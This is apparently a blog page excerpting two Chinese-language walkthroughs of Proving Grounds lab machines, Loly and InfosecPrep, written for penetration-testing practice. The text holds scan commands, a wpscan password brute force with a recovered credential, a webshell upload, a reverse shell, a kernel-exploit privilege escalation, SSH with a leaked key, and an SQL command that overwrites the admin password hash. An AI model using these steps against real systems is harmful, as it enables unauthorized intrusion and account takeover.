ARIES

 Proving Grounds Play : Loly Walkthrough Foothold : 80 發現 WordPress 站台，枚舉使用者帳號後暴力破解到密碼 登入後發現 AdRotate Plug-in 套件，管理頁面可以上傳檔案 將 webshell.php 包成 .zip 檔案上傳成功 開啟 webshell.php 成功執行 Reverse Shell 進入系統 PE : WordPress 中的 wp-config-php 檔案發現一組密碼 使用該組密碼成功切換到使用者帳號，原有帳號無法執行 gcc Linux Kernel 過舊，下載 .c 利用檔再 gcc 編譯後利用成功提權 第一步 Rustscan，└─$ rustscan -a 192.168.170.121 --scripts none --ulimit 5000 | tee rustscan 只有 80，看來就是直球對決 snmp check，└─$ sudo nmap -sU -p 161 192.168.170.121 | tee snmp                       nmap，└─$ sudo nmap -sCV -A -p 80 192.168.170.121 | tee nmap 80 / 80 /robots.txt Exploit-DB gobuster 80 / 80 /wordpress 解析不到 loly.lc 加上 hosts 後網頁正常顯示 枚舉 WordPress 使用者，wpscan --url http://loly.lc/wordpress --enumerate u 發現一個使用者帳號 loly 測試了幾個常用密碼都沒有成功 開始暴力破解看看，wpscan --url http://loly.lc/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt 發現有效憑證 loly:fernando 可以登入 wordpress 沒問題 該使用者是管理者 檢查 Plug-In，AdRotate 5.8.6.2、Akismet Anti-Spam 4...

 Proving Grounds Play : InfosecPrep Walkthrough Foothold : 網站可以發現一個使用者名稱 oscp /robots.txt 透漏 /secret.txt 不要存取，那就一定要存取 存取後拿到 base64 encode 的 Private Key Base64 Decode 後修改權限直接 ssh 進去 PE : SUID 發現 bash，參考 GTFO 成功提權 第一步 Rustscan，└─$ rustscan -a 192.168.235.89 --scripts none --ulimit 5000 | tee rustscan snmp check nmap whatweb curl -s -X GET 'http://192.168.235.89/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u 沒有看到東西 wpscan --url http://192.168.235.89 -e vp --plugins-detection mixed --api-token <API Token> 沒掃到啥東西 80 / username : oscp 80 /robots.txt 80 /secret.txt 看來是個 Private Key base64 decode 測試看看 ssh -i id_rsa oscp@192.168.235.89 進去了 local.txt 有個檔案叫做 ip 權限是 root，但現有使用者可以執行 看了邏輯後暫時沒發現可以利用的點 /var/www/html 底下的 wp-config.php 裡面有 DB 連線資訊 wordpress:Oscp12345! netstat -antlp 有跑 3306 MySQL，下載 chisel 搭建通道回 kali 進入 MySQL 獲取 admin 密碼的 HASH 將 admin 的密碼改成 admin MySQL [wordpress]> update wp_users set user_pass=md5('admin') where ...